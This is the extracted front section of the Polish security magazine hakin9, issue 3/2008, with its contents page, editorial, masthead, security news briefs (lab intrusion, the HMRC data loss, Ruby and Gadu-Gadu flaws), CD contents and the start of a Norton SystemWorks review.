Hakin9 35 (03 2008) PL

background image
background image
background image
background image

4

www.hakin9.org

hakin9 Nr 3/2008

5

www.hakin9.org

hakin9 Nr 2/2006

W skrócie

6

Mateusz Stępień

Przedstawiamy najciekawsze wiadomości ze świata

bezpieczeństwa systemów informatycznych i nie tylko.

Zawartość CD

10

Prezentujemy zawartość i sposób działania najnowszej

wersji naszej sztandarowej dystrybucji hakin9.live.

Narzędzia

Norton SystemWorksTM

Basic Edition

12

Outpost Firewall Pro 4.0

13

Początki

Routing cebulowy

14

Maciej Szmit

Czy można anonimowo surfować po Internecie i kie-

dy ta anonimowość jest zagrożona?

Atak

Hakowanie Visty

18

Konrad Zuwała

Czy Windows Vista rzeczywiście jest tak bezpiecz-

nym systemem, jak zapowiadali producenci z firmy

Microsoft?

Podsłuch elektromagnetyczny

22

Grzegorz Błoński

W ostatnich miesiącach bardzo modnym tematem jest

podsłuchiwanie. Nie można zapominać, że podsłuchać

można nie tylko człowieka, ale także komputer i to, co

w nim najcenniejsze dla właściciela – jego dane.

Format BMP okiem hakera

30

Michał Składnikiewicz

Autor pokazuje, że format BMP, mimo swojej pozor-

nej prostoty, jest najeżony pułapkami oraz zawiera

wiele miejsc, w których można ukryć dodatkowe dane

bez wpływania na wyświetlaną bitmapę.

Atak na wirtualną klawiaturę

38

Sławomir Orłowski, Maciej Pakulski

Podstawowym celem tego artykułu jest pokazanie,

jak prosto ominąć zabezpieczenie, jakim jest wirtu-

alna klawiatura.

Witam!

D

rodzy Czytelnicy, niezmiernie się cieszę, że mogę

Państwa po raz kolejny przywitać i zachęcić do lek-

tury naszego magazynu. To już trzeci numer w tym

roku. Przed nami jeszcze osiem numerów, które zapewne

będą bardzo interesujące. Osiem, ponieważ w okresie waka-

cyjnym planujemy połączyć dwa pisma.

Ale do wakacji jeszcze kilka miesięcy, na razie cieszmy

się wiosną, która jest tuż tuż. Miejmy nadzieję, że po śnie

zimowym nie obudzą się robaki i wirusy, jednak jeżeli tak się

stanie, mamy dla Państwa wiele porad do walki z nimi.

W tym numerze ponownie prezentujemy najciekawsze

artykuły na rynku, najskuteczniejsze programy oraz specjal-

nie przygotowane filmy instruktażowe!

Szczególnie zachęcam do tematu numeru, jakim w tym

miesiącu jest artykuł Hakowanie Visty. Przekonalilśmy się

już, że Vista, którą Microsoft zapowiadał jako całkowitą

rewolucję w bezpieczeństwie systemów operacyjnych, nie

do końca temu opisowi odpowiada. O tym właśnie traktuje

artykuł Konrada Zuwały.

Kolejną ciekawą propozycją jest tekst Grzegorza Błoń-

skiego Podsłuch elektromagnetyczny, w którym Autor zaj-

muje się zjawiskiem ulotu elektromagnetycznego i możliwo-

ścią wykorzystania go do kradzieży danych z komputera.

Gorąco polecam lekturę!

Robert Gontarski

background image

4

www.hakin9.org

hakin9 Nr 3/2008

5

www.hakin9.org

hakin9 Nr 2/2006

Obrona

Architektura CCA,

czyli GRID prosto i przyjemnie

46

Rafał Podsiadły

Jak funkcjonują systemy rozproszone i do czego są

wykorzystywane, dowiesz się czytając tekst Rafała

Podsiadłego.

Informatyka śledcza

jako element reakcji na incydenty

54

Przemysław Krejza

Co to jest EnCase Enterprise? Na czym polega informa-

tyka śledcza? Do czego służy dowód elektroniczny?

Entropia – pomiar i zastosowanie

58

Michał Składnikiewicz

Tekst przedstawia zagadnienia związane z entropią,

rozumianą jako wielkość losowości pewnych danych.

Bezpieczeństwo w Javie

62

Piotr Łaskawiec

Autor opisuje specjalistyczną platformę programisty-

czną – Java Enterprise Edition.

Bezpieczeństwo teleinformatyczne

danych osobowych

68

Andrzej Guzik

Czy systemy informatyczne przetwarzające dane oso-

bowe spełniają wymagania bezpieczeństwa i uwzględ-

niają przepisy prawne? Odpowiada Andrzej Guzik.

Księgozbiór

74

Recenzujemy książki Cisco PIX. Firewalle oraz Win-

dows Server 2003. Bezpieczeństwo sieci.

Wywiad

Wywiad z Eugenem Kasperskim

76

Katarzyna Juszczyńska i Robert Gontarski rozma-

wiają z ekspertem bezpieczeństwa informacji.

Felieton

Założenia komunikacji

78

Patryk Krawaczyński

Zapowiedzi

82

Zapowiedzi artykułów, które znajdą się w następnym

wydaniu magazynu hakin9.

jest wydawany przez Software–Wydawnictwo Sp. z o.o.
Dyrektor wydawniczy:
Sylwia Pogroszewska

Redaktor naczelny: Katarzyna Juszczyńska

katarzyna.juszczynska@software.com.pl

Redaktor prowadzący: Robert Gontarski

robert.gontarski@software.com.pl

Asystentka redakcji: Barbara Czułada

barbara.czulada@software.com.pl

Wyróżnieni betatesterzy: Łukasz Witczak, Marcin Kulawinek

Opracowanie CD: Rafał Kwaśny

Kierownik produkcji: Marta Kurpiewska

marta.kurpiewska@software.com.pl

DTP Manager: Robert Zadrożny robert.zadrozny@software.com.pl

Okładka: Agnieszka Marchocka

Dział reklamy: adv@software.com.pl

Prenumerata: Marzena Dmowska pren@software.com.pl

Adres korespondencyjny: Software–Wydawnictwo Sp. z o.o.,

ul. Bokserska 1, 02-682 Warszawa, Polska

Tel. +48 22 427 36 77, Fax +48 22 244 24 59

www.hakin9.org

Osoby zainteresowane współpracą prosimy o kontakt:

cooperation@software.com.pl

Druk: 101 Studio, Firma Tęgi

Redakcja dokłada wszelkich starań, by publikowane w piśmie i na

towarzyszących mu nośnikach informacje i programy były poprawne,

jednakże nie bierze odpowiedzialności za efekty wykorzystania ich;

nie gwarantuje także poprawnego działania programów shareware,

freeware i public domain.

Uszkodzone podczas wysyłki płyty wymienia redakcja.

Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich

firm i zostały użyte wyłącznie w celach informacyjnych.

Do tworzenia wykresów i diagramów wykorzystano

program

firmy

Płytę CD dołączoną do magazynu przetestowano programem AntiVirenKit

firmy G DATA Software Sp. z o.o.

Redakcja używa systemu automatycznego składu

UWAGA!

Sprzedaż aktualnych lub archiwalnych numerów pisma w cenie innej

niż wydrukowana na okładce – bez zgody wydawcy – jest działaniem

na jego szkodę i skutkuje odpowiedzialnością sądową.

hakin9 ukazuje się w następujących krajach: Hiszpanii, Argentynie,

Portugalii, Francji, Belgii, Luksemburgu, Kanadzie, Maroko, Niem-

czech, Austrii, Szwajcarii, Polsce, Czechach, Słowacji.

Prowadzimy również sprzedaż kioskową w innych krajach europej-

skich.

Magazyn hakin9 wydawany jest w 7 wersjach językowych:

PL

ES

CZ EN

IT FR DE

Nakład wersji polskiej 6 000 egz.

UWAGA!

Techniki prezentowane w artykułach mogą być używane jedynie
we własnych sieciach lokalnych.
Redakcja nie ponosi odpowiedzialności za niewłaściwe użycie
prezentowanych technik ani spowodowaną tym utratę danych.

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

Atak na amerykańskie

centrum badawcze

Laboratorium badawcze Oak

Ridge National Laboratory

(ORNL) w Tennessee oraz Los

Alamos National Laboratory

w Nowym Meksyku padło ofiarą

ataku crackera. Według przed-

stawiciela placówki w Oak Ridge

– włamywacz uzyskał dostęp

tylko do bazy danych zawierają-

cej informacje personalne osób

odwiedzających laboratorium od

1990 do 2004 roku, jednak nie

wszedł w posiadanie żadnych taj-

nych danych. Atak był poprze-

dzony falą wiadomości e-mail

zawierających załączniki ze zło-

śliwym oprogramowaniem. Po

otwarciu takiego listu uruchamia-

ły się konie trojańskie. Złodzie-

je dokonali około 1100 prób połą-

czeń w celu kradzieży danych.

Do ataku wykorzystano siedem

różnych listów elektronicznych

wysłanych do naszych pracowni-

ków. Każdy z nich zawierał złośli-

wy kod – powiedział Thom Mason

szef laboratorium.

Francja odetnie piratów

Już wkrótce francuscy internau-

ci przyłapani na nielegalnym udo-

stępnianiu filmów i muzyki będą

musieli liczyć się z możliwością

odcięcia im dostępu do Internetu.

Będzie to możliwe dzięki porozu-

mieniu, do którego doszło pomię-

dzy francuskim rządem, prze-

mysłem rozrywkowym a ISP.

Główne zadanie będzie należa-

ło do ISP, który będzie odpowie-

dzialny za monitorowanie poczy-

nań swoich użytkowników. W przy-

padku wykrycia internauty, który

w sposób bardzo nadgorliwy pała

chęcią dzielenia się różnymi zaso-

bami chronionymi prawem autor-

skim, w jego stronę zostanie

wystosowane specjalne ostrzeże-

nie. Jeśli ostrzeżeni użytkownicy

kontynuować będą nielegalne dzia-

łania, zostaną czasowo lub perma-

nentnie odłączeni od Internetu.

Norton SystemWorks 2008 już dostępny

F

irma Symantec (światowy lider
w dziedzinie ochrony informa-

cji) poinformowała o wydaniu nowej
wersji pakietu Norton SystemWorks
2008, służącego do ochrony i opty-
malizacji komputera.

Norton SystemWorks zawiera

szereg przydanych narzędzi, m. in.:
Norton AntiVirus, który chroni kom-
puter przed wirusami i oprogra-
mowaniem szpiegującym; Norton
Ghost – narzędzie pomocne w szyb-
kiej i bezpiecznej aktualizacji, archi-
wizacji oraz odtwarzaniu systemu;
Norton Utilities, One-Button Chec-
kup, Process Viewer, Optimizer
i CheckIt Diagnostics – narzędzia
służące m. in. do diagnostyki dysku
twardego, optymalizacji pracy kom-
putera, rozwiązywania typowych
problemów czy usuwania plików
tymczasowych; Web Tools – grupa
nowych narzędzi, przeznaczo-
nych m. in. do zarządzania plika-
mi cookie oraz utrzymywania połą-
czeń modemowych w czasie pracy
z Internetem.

Główne nowości wersji 2008 to

kompatybilność z systemem Win-
dows Vista, a także zaimplemen-
towana w programie Norton Anti-
Virus nowa technologia SONAR,
która pozwala na natychmiastowe
wykrywanie zagrożeń w oparciu
o analizę zachowań uruchamiane-
go kodu. W nowym Norton System-
Works 2008 znajdziemy również
program Norton Save & Resto-
re – oparte o rozwiązania Norton
Ghost narzędzie służące do łatwe-
go tworzenia kopii zapasowych

oraz szybkiego odtwarzania syste-
mu po awarii.

Oprogramowanie zostało wydane

w trzech edycjach: Basic, Standard
oraz Premier. Ceny pakietów na rynku
amerykańskim zostały ustalone na
poziomie 49,99 USD za edycję Basic,
69,99 USD za edycję Standard oraz
99,99 USD za edycję Premier.

Firma Symantec, założona w ro-

ku 1982, jest światowym liderem
oferującym oprogramowanie, urzą-
dzenia i usługi, które pomagają
odbiorcom indywidualnym, małym
i średnim firmom oraz dużym przed-
siębiorstwom w zapewnieniu bez-
pieczeństwa, dostępności i inte-
gralności informacji. Główna sie-
dziba firmy znajduje się w Cuperti-
no w amerykańskim stanie Kalifor-
nia, a oddziały całym świecie.

Rysunek 1.

Norton SystemWorks

2008 już dostępny

Dwie aktualizacje

bezpieczeństwa od Novella

A

merykańska firma Novell, specja-
lizująca się w sieciowych syste-

mach operacyjnych, takich jak NetWa-
re i Linux, wydała aktualizacje bezpie-
czeństwa dla dwóch swoich produktów.
Jedna z nich zamyka lukę w kliencie
Novell NetMail, która pozwala przejąć
kontrolę nad systemem. Druga aktuali-
zacja eliminuje trzy zagrożenia w pro-
gramie Novell BorderManager 3.8.

Rysunek 2.

Instalacja Novell

BorderManager 3.8

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

6

Mateusz Stępień

www.hakin9.org

7

hakin9 Nr 3/2008

Niezwykła

zguba brytyjskiego

Urzędu Skarbowego

Angielski minister finansów Ali-

stair Darling oświadczył, że

z urzędu podatkowego admini-

strującego zasiłkiem wychowaw-

czym na dzieci zginęły dwa kom-

puterowe dyski z danymi oso-

bowymi 25 milionów ludzi – 7

milionów rodzin uprawnionych

do jego otrzymywania. Zasił-

ki, w wysokości 18 funtów tygo-

dniowo na pierwsze dziec-

ko i 12 na każde następne, są

w Wielkiej Brytanii przyznawa-

ne wszystkim rodzicom i prawie

wszyscy je pobierają. Na zagi-

nionych dyskach znajdowa-

ły się między innymi informa-

cje o adresach osób, daty uro-

dzin dzieci, numery ubezpie-

czeń oraz numery kont banko-

wych, na które trafiają zasiłki. To

rzeczywiście bardzo, bardzo zła

sytuacja. Jestem w stanie zrozu-

mieć obawy ludzi i złość, że to

się zdarzyło. To nigdy nie powin-

no się było stać i szczerze za to

przepraszam – powiedział Ali-

stair Darling dla telewizji GMTV.

Darling wyjaśnił, że dyski zostały

przesłane z urzędu podatkowe-

go (HMRC) do krajowego audy-

tora (NAO) za pośrednictwem

firmy kurierskiej TNT, jednak

koperta nie została oznaczona

jako polecona bądź wartościowa

i – jak się okazało – nie dotarła

do odbiorcy. Minister zastrzegł,

iż nie ma powodów do paniki,

ponieważ dyski są zabezpieczo-

ne podwójnym systemem haseł,

a policja nie sygnalizowała mu,

że mogły wpaść w niepowoła-

ne ręce. W odnalezienie dysków

i ochronę danych zaangażo-

wano Scotland Yard i specjali-

stów od ochrony danych osobo-

wych. Poza głównym dochodze-

niem policyjnym prowadzonych

jest jeszcze pięć pobocznych.

Rząd obciąża odpowiedzialno-

ścią niskiego rangą pracownika

HMRC. Do dymisji podał się szef

urzędu podatkowego Paul Gray.

Mozilla Firefox 3.0 beta1

U

kazała się pierwsza oficjal-
na wersja beta przeglądarki

internetowej Mozilla Firefox 3.0.
Nowy Ognisty Lis korzysta z silni-
ka Gecko 1.9, zawiera usprawnie-
nia z zakresu bezpieczeństwa oraz
wydajności i stabilności. Poprzed-
nie testowe wydanie wersji 3 – tzw.
alfa – dostępne było jedynie dla
wybranych testerów. Przejście z fa-
zy alfa do beta oznacza zwykle, że
osiągnęliśmy już ten poziom jako-
ści i niezawodności przeglądarki,
iż może być ona wykorzystywana
przez zainteresowanych użytkow-
ników do codziennej pracy. Jest to
dla nas także kolejny ważny krok
w kierunku premiery finalnego
wydania 3
– tłumaczy Mike Schro-
epfer z Mozilli.

W Firefox 3.0 beta znajdziemy

m. in. nowy moduł do zarządza-
nia adresami często odwiedzanych
stron, nowy menedżer pobierania
(udostępniono możliwość wzno-
wienia pobierania plików) oraz
kilka nowych funkcji podnoszą-
cych bezpieczeństwo, np.: pod-
gląd informacji o stronie po kliknię-
ciu na favicon, integracja z progra-
mami antywirusowymi, integracja
z narzędziami kontroli rodziciel-
skiej w Windows Vista oraz auto-
matyczne sprawdzanie wersji do-
datków i rozszerzeń. Przedstawi-

ciele Mozilli podkreślają jednak,
że zdecydowana większość mody-
fikacji nie będzie bezpośred-
nio widoczna dla użytkowników
– zmiany będą jednak dla nich
odczuwalne. Najwięcej zmieni się
'pod maską'. Wdrożyliśmy nowe
procedury sprawdzania kodu, które
mają zagwarantować, że będzie on
odpowiednio bezpieczny. Bardzo
wierzę w to rozwiązanie – uważam,
że żadne narzędzia zabezpieczają-
ce nie zapewnią bezpieczeństwa,
jeśli kod nie będzie odpowiednio
bezpieczny
.

Przypomnijmy, iż wedle wcze-

śniejszych deklaracji twórców Fire-
foksa, wersja beta 1 miała pojawić
się pod koniec lipca. We wrze-
śniu miała być udostępniona beta
2, zaś w grudniu – finalny Firefox
3. Jeśli wszystko pójdzie dobrze,
to jeszcze w tym roku pojawi się
druga beta. Finalna wersja pojawi
się w 2008 roku.

Firefox 3 beta 1 dostępny jest

m. in. w wersjach dla Linuksa, Mac
OS X oraz Windows. Program jest
spolonizowany – można go zna-
leźć na stronie Mozilli. Przedstawi-
ciele Mozilli podkreślają, że wersja
ta jest przeznaczona jedynie do
celów testowych i nie jest reko-
mendowana dla zwykłych użyt-
kowników.

Windows XP lepszy od Visty?

N

ajnowsze testy wykazały, że
Windows XP korzystający

z wersji beta Service Pack 3 ma
dwa razy lepsze osiągnięcia niż
Windows Vista działający z – długo
oczekiwaną – wersją beta Service
Pack 1.

Wydanie pierwszego Servi-

ce Pack'a dla Visty jest planowa-
ne na początek przyszłego roku
i ma on zwiększyć wydajność tegoż
systemu. Aczkolwiek, gdy wersja
wersja beta SP1 dla Visty została
poddana testom benchmarkowym
przez firmę Devil Mountain Softwa-
re, poprawa nie była oszałamiają-
ca. Dla porównania Windows XP

zakończył test w 35 sekund, a Vista
uporała się z nim po 80-ciu sekun-
dach. Warto także odnotować, że
wydajność XP z SP3-beta wzrosła
o 10%, natomiast Vista z SP1-beta
poprawiła się jedynie o 2%. Test
przeprowadzony został na maszy-
nie Dell XPS M1710 z procesorem
Core 2 Duo 2GHz i 1GB pamię-
ci RAM.

Microsoft krótko skomentował

uzyskane wyniki, twierdząc, że są
to wersje beta, nad którymi wciąż
trwają prace, a firma zawsze stara
się dostarczyć Service Pack'i speł-
niające oczekiwania klientów i koń-
cowy produkt będzie dużo lepszy.

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

Gracz domaga się

5 milionów odszkodowania

od Microsoft

Jeden z mieszkańców Kalifor-

ni, który lubi pograć w grę Halo,

pozwał do sądu Microsoft oraz

firmę Bungie – producenta tytułu.

Wszystko dlatego, że program

nie działał prawidłowo. Klienci,

którzy posiadają wadliwy nośnik,

mogą go zwrócić lub wymienić

na nowy. Jednak Randy Nunez

postanowił poszukać innego roz-

wiązania i złożył w sądzie pozew

zbiorowy przeciwko Microsoft

i Bungie, żądając 5.000.000

dolarów odszkodowania. W

pozwie Nunez informuje, że pod-

czas grania w Halo 3 Xbox 360

zawiesza się i przestaje działać.

Microsoft w ubiegłym miesiącu

informował, że taki błąd się poja-

wia, jednak przedstawiciele firmy

nie chcieli podać do wiadomości,

co powoduje jego występowanie.

Luka w module Net::HTTPS

Firma iSEC, zajmująca się bez-

pieczeństwem systemów i apli-

kacji, ujawniła błąd występują-

cy w module Net::HTTPS, który

jest częścią języka skryptowe-

go RUBY. Aplikacja, która wyko-

rzystuje ten moduł może być

podatna na atak typu man-in-

the-middle. Moduł sprawdza

– między innymi – czy certyfi-

kat serwera jest poprawny, ale

nie porównuje wartości pola CN

(ang. common name) z faktycz-

ną nazwą generowanej strony.

Haker może więc użyć dowol-

nego, prawidłowego certyfika-

tu wystawionego przez publicz-

ny CA do infiltracji połączenia

za pomocą metody MITM. Naj-

wyraźniej problem jest spo-

wodowany błędem w funkcji

post_connection_check

, która

jest wywoływana po wynegocjo-

waniu połączenia SSL i znajdu-

je się w pliku http.rb. Bug wystę-

puje w wersjach 1.8.x modu-

łów oraz w wersjach develo-

perskich oznaczonych jako 1.9.

Podniesienie modułów do wersji

1.8.6-p111 lub 1.8.5-p114 elimi-

nuje buga. Oficjalne informacje

na stronach ruby-lang.org suge-

rują, aby ustawić wartość opcji

http.enable_post_connection_
check

na true.

Rysunek 4.

Nowy model FVS336G

NETGEAR ProSafe

VPN Firewall – FVS336G

A

merykańska firma Netge-
ar, zaliczana do czołówki

największych na świecie produ-
centów urządzeń sieciowych za-
prezentowała wszechstronną za-
porę zapewniającą bezpieczeń-
stwo sieci oraz zdalny i niezawod-
ny dostęp do Internetu – NETGE-
AR ProSafe VPN Firewall.

Nowy model FVS336G wypo-

sażono w zintegrowany, czter-
portowy przełącznik 10/100/1000
Mb/s umożliwiający szybką pracę
sieci i zarządzanie przez SNMP,
dwa porty Gigabit WAN obsługu-
jące podwójne połączenia szeroko-
pasmowe z funkcją równoważenia
obciążenia i przejmowania ruchu
w przypadku awarii, zaawansowa-
ny Firewall SPI i Multi-NAT, ekran
konfiguracyjny ProSafe Control
Center i asystenta ułatwiającego
konfigurację.

Zapora jest kompatybilna z sys-

temami operacyjnymi Windows,
UNIX, Macintosh i Linux i można
nią zarządzać poprzez protokół
SNMP.

Nowa zapora Prosafe Dual WAN

Gigabit SSL VPN Firewall to ideal-
ny produkt dla małych i średnich
przedsiębiorstw

poszukujących

rozwiązania sieciowego zapewnia-
jącego wysoką wydajność, solidne
zabezpieczenia i łatwy, bezpieczny
dostęp dla użytkowników zdalnych
oraz połączeń sieciowych pomię-
dzy lokalizacjami,
wyjaśnia Woj-
ciech Karwowski, country mana-
ger NETGEAR Poland. Wszech-

stronna zapora daje zdalnym użyt-
kownikom dostęp do danych kor-
poracyjnych bez użycia oprogra-
mowania klienckiego, za pomocą
standardowej przeglądarki inter-
netowej, a tunele VPN IPsec mogą
jednocześnie otwierać bezpieczne
połączenia pomiędzy lokalizacja-
mi, z obsługą starszych rozwiązań
klient-serwer. Zintegrowany czte-
roportowy przełącznik klasy Giga-
bit i dwa gigabitowe porty WAN
gwarantują optymalna wydajność
i niezawodność sieci. ProSafe Dual
WAN Gigabit SSL VPN Firewall to
jedna z najbardziej wszechstron-
nych, niezawodnych i bezpiecz-
nych zapór dla małych i średnich
przedsiębiorstw
.

Zapora NETGEAR ProSafe

Dual WAN Gigabit SSL VPN Fire-
wall (FVS336G) oferowana będzie
w pierwszym kwartale 2008 roku
z bezterminową gwarancją w skle-
pach detalicznych, internetowych
i u sprzedawców VAR, w cenie
katalogowej 425 USD (+ VAT).

Rysunek 3.

Płyta instalacyjna

FVS336G

background image

W skrócie

hakin9 Nr 3/2008

www.hakin9.org

8

Mateusz Stępień

www.hakin9.org

9

hakin9 Nr 3/2008

Dziura w Gadu-Gadu

Mateusz Jurczyk (współpracują-

cy z Eleytt Research w zakresie

Responsible Disclosure Assuran-

ce oraz jako zewnętrzny badacz)

znalazł lukę w module parsowa-

nia pliku emots.txt w najnowszej

wersji popularnego komunikatora

Gadu-Gadu. Program nie spraw-

dza długości bufora przy pobie-

raniu z konfiguracji nazwy pliku

zawierającego ikony. W związ-

ku z tym wydaje się, że atak jest

ograniczony do sytuacji, w której

komuś uda się nadpisać plik kon-

figuracyjny Gadu-Gadu na koncie

danego użytkownika.

Niebezpieczny VoIP

Peter Cox, specjalista od VoIP

pracujący w kanadyjskiej firmie

BorderWare, zaprezentował cie-

kawe oprogramowanie, pozwala-

jące na podsłuchiwanie rozmów

prowadzonych pomiędzy użyt-

kownikami VoIP. Oprogramowa-

nie o nazwie SIPtap może prze-

chwytywać informacje SIP oraz

monitorować strumienie pakie-

tów VoIP i zapisywać je jako pliki

*.wav w celu późniejszej anali-

zy w oddalonej lokalizacji. Wcze-

śniej trzeba się włamać do kom-

putera pracującego w wytypowa-

nej sieci i zainstalować na nim

konia trojańskiego z programem

SIPtap, który można również

instalować w sieci eksploatowa-

nej przez dostawcę usług inter-

netowych.

Top 10 najbardziej oryginalnych

przypadków utraty danych w 2007

O

ntrack, jedna z bardziej zna-
nych firm zajmujących się

odzyskiwaniem danych opubliko-
wała swój ogólnoświatowy i krajo-
wy ranking najbardziej nietypowych
przypadków utraty danych:

• Halo? Wyprałam dane – W tym

roku do Kroll Ontrack zadzwoni-
ła kobieta twierdząc, że wypra-
ła wszystkie swoje dane. Jej
pamięć USB trafiła do pralki,
a usunięcie danych zajęło pralce
cały cykl z płukaniem.

• Córeczka tatusia – Pewien tata

po pracy spieszył się do domu,
gdzie czekała na niego córecz-
ka. Wychodząc z pracy wrzucił
pamięć przenośną do przedniej
kieszeni koszuli. Jakiś czas póź-
niej, karmiąc córkę nachylił się,
a pamięć z kieszeni wylądowa-
ła w ciepłym, apetycznym, ale
dość rzadkim i klejącym jabłko-
wym puree.

• Uwaga branie! – Wędkarz wyjeż-

dżając na ryby postanowił wziąć
ze sobą laptop. Przerwy pomię-
dzy braniami chciał wykorzystać
na grę na komputerze. Kiedy tak
spędzał czas siedząc w łódce
na środku jeziora, ryba złapała
haczyk. Wędkarz wstał, zachwiał
się i po chwili on i laptop byli
w jeziorze.

• Chłodząca coca-cola – Podczas

tegorocznego lata jeden z pol-
skich użytkowników komputerów
pracował na swoim laptopie popi-
jając orzeźwiający napój. Chwila
nieuwagi i zawartość dużej
szklanki zalała klawiaturę i wnę-
trze komputera.

• Badań naukowych czar – Nauko-

wiec wylał kwas na zewnętrzny
dysk twardy. Kwas wypalił znacz-
ną część nośnika. Przekonany, że
zawartość dysku została spalona
pracownik naukowy skontakto-
wał się z ekspertami odzyskiwa-
nia danych. Dane odzyskano.

• Szwedzkie wodowanie – W trak-

cie przeładunku statku płynące-
go ze Szwecji jeden z kontene-

rów wpadł do morza i został czę-
ściowo zalany. Znajdowała się
w nim m.in. macierz zawierająca
ponad 100 dysków twardych.

• Spalony na węgiel – Po poża-

rze jednego z mieszkań stra-
żacy odnaleźli zwęglony aparat
fotograficzny. Właściciele zlecili
odzyskanie zdjęć ze spalonego
urządzenia. To jedyne, co udało
się uratować po pożarze.

• Prośba o ciszę – Brytyjski nauko-

wiec miał dość pisku, jaki wyda-
wał jego dysk twardy. Postano-
wił naoliwić urządzenie. Żeby
rozwiązać problem wywiercił
w nośniku dziurę i wlał do środka
olej. Dysk przestał piszczeć i pra-
cować.

• Zawiódł spadochron – Producent

spadochronów postanowił nagrać
na wideo testy nowego modelu.
W tym celu do obciążenia spa-
dochronu wyrzuconego z samo-
lotu dołączono kamerę. Niestety,
ładunek wraz z kamerą rozbił się
o ziemię i rozpadł na wiele kawał-
ków. Ekspertom udało się odzy-
skać nagranie.

• Inwazja mrówek – Kiedy foto-

graf z Tajlandii odkrył, że w jego
zewnętrznym dysku twardym
zadomowiły się mrówki, zdjął
jego obudowę i spryskał środek
urządzenia preparatem na insek-
ty. Mrówki nie przetrwały i dopóki
inżynierowie Kroll Ontrack nie
zajęli się problemem, wyglądało
na to, że dane też nie.

Jesteśmy coraz bardziej zaskoczeni
okolicznościami utraty danych, jakie
towarzyszą przypadkom trafiającym
do naszych laboratoriów. Cały czas
pracujemy nad narzędziami, które
z powodzeniem mogą radzić sobie
z coraz większymi wyzwaniami, jakie
bezsprzecznie stanowią te przypad-
ki. Często odzyskujemy dane w spra-
wach, w których ich właściciele straci-
li wiarę w powodzenie. Dlatego czer-
piemy z naszej pracy wielką satysfak-
cję
– mówi Paweł Odor, główny spe-
cjalista Kroll Ontrack w Polsce.

background image

hakin9.live

hakin9 Nr 3/2008

www.hakin9.org

10

N

a dołączonej do pisma płycie znajduje się ha-
kin9.live
(h9l) w wersji 4.0.3 on BackTrack2.0,
zawierająca przydatne narzędzia, dokumenta-

cję, tutoriale i materiały dodatkowe do artykłów. Aby za-
cząć pracę z hakin9.live, wystarczy uruchomić kompu-
ter z CD. Po uruchomieniu systemu możemy zalogować
sie jako użytkownik hakin9 bez podawania hasła. Pro-
gramy:

• Titan Backup,
• VirusBlokAda,
• SecureDNA.

Filmy instruktażowe:

• Atak SQL Injection – wykrywanie struktury bazy da-

nych,

• Blind SQL Injection - odgadywanie haseł po znaku.

Titan Backup

Titan Backup jest świetnym rozwiązaniem do tworze-
nia kopii zapasowych. Jest bezpieczne, zautomatyzo-
wane i łatwe w użyciu przy tworzeniu kopii Twoich waż-
nych plików oraz dokumentów, poczty, reguł, rejestru,
ustawień.

Pozwala tworzyć i przewracać kopie zapasowych

ważnych danych zapisanych na dysku lokalnym, czy
nośnikach wymiennych jak płyty CD/DVD, pendrive,
dyski zewnętrzne, dyski sieciowe, zdalne serwery FTP.
Używa 256-bitowego silnego szyfrowania AES, co za-
pewni pełna ochronę poufnych danych.

VirusBlokAda

Linia produktów VirusBlokAdy bazuje na antywirusowym
silniku rozwijanym przez świetnych specjalistów. Vba32

Zawartość CD

Personal polecane jest domowym użytkownikom. Jest
bardzo dobrym i szybkim narzędziem do wykrycia i zneu-
tralizowania wirusów komputerowych, robaków e-mailo-
wych, koni trojańskich, malware, backdoorów, adware,
spyware itp.

Co więcej, VirusBlokAda oferuje oprogramowa-

nie antywirusowe dla workstacji, serwerów plików,
serwerów mailowych opartych na MS Exchange, Lo-
tus Domino dla Windows/Linux i różnorodność filtrów
antywirusowych dla serwerów mailowych korzystają-
cych z Linux/FreeBDS. Techniki użyte w oprogramo-
waniu:

• analiza heurystyczna,
• MalwareScope,
• automatyczny update modułów i bazy wirusów,
• zintegrowana kontrola.

SecureDNA

Bildsoft SecureDNA pozwala na szyfrowanie plików, fol-
derów, nośników danych, emaili. Dostarcza ochrony na
wysokim poziomie. Najważniejsze funkcje:

• szyfrowanie AES 256-bit,
• szyfrowanie poczty,
• ochrona pendrivów,
• ochrona płyt,
• menadżer,
• kontrola jakości hasła,
• ukrywanie danych w plikach audio i w obrazkach,
• drag & drop.

Wymagania:

• .NET Framework 2.0.

Rysunek 1.

Operacje przetwarzania danych osobowych

Rysunek 2.

Zarządzanie ryzykiem

background image

Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona

mechanicznie, sprawdź ją na co najmniej dwóch napędach CD.

W razie problemów z płytą, proszę napisać pod adres:

cd@software.com.pl

background image

12

Narzędzia

hakin9 Nr 3/2008

www.hakin9.org

Oprogramowanie firmy Symantec zawsze cieszyło się
dużym uznaniem wśród użytkowników komputerów.
Jednym z dostępnych pakietów jest SystemWorksTM.
W wersji podstawowej (Basic Edition) w skład pakie-
tu wchodzą: Norton UtilitiesTM, Norton GoBackTM, One
Button Checkup oraz System Optimizer.

Instalacja oprogramowania nie sprawia najmniejsze-

go problemu nawet osobom z minimalną wiedzą kom-
puterową. Przed jej rozpoczęciem należy się jednak
upewnić, czy dysponujemy odpowiednią ilością miejsca
na dysku twardym (Norton GoBackTM wymaga 10% wol-
nego miejsca na dysku na historię – istnieje możliwość
ręcznego skonfigurowania w trakcie instalacji). Poszcze-
gólne programy mogą być uruchomione bezpośrednio
z dysku CD bez instalacji (Norton CleanUp, Norton Disk
Doctor, Norton WinDoctor).

Po pomyślnej instalacji dostajemy bogaty zestaw

narzędzi gotowych do optymalizacji oraz naprawy nasze-
go systemu. Mówiąc najbardziej ogólnie, możemy podzie-
lić pakiet na Norton Cleanup oraz Norton Utilities. Pierw-
szy zawiera aplikacje pozwalające na szybkie usunię-
cie plików tymczasowych, plików cookie, plików historii
internetowej oraz pamięci podręcznej. Druga grupa jest
znacznie liczniejsza i zawiera narzędzia diagnostycz-
no-naprawcze:

• Norton Disk Doctor – narzędzie służące do diagno-

zowania oraz naprawiania problemów dotyczących
dysków twardych,

• Norton System Doctor – monitor systemu, reagują-

cy natychmiast w przypadku wykrycia problemu (za-
równo powiadomieniem użytkownika, jak i – w nie-
których sytuacjach – automatyczną naprawą). Apli-
kacja pozwala na wybór aktywnych czujników nad-
zorujących m. in. dyski twarde, procesor, pamięć
i sieć,

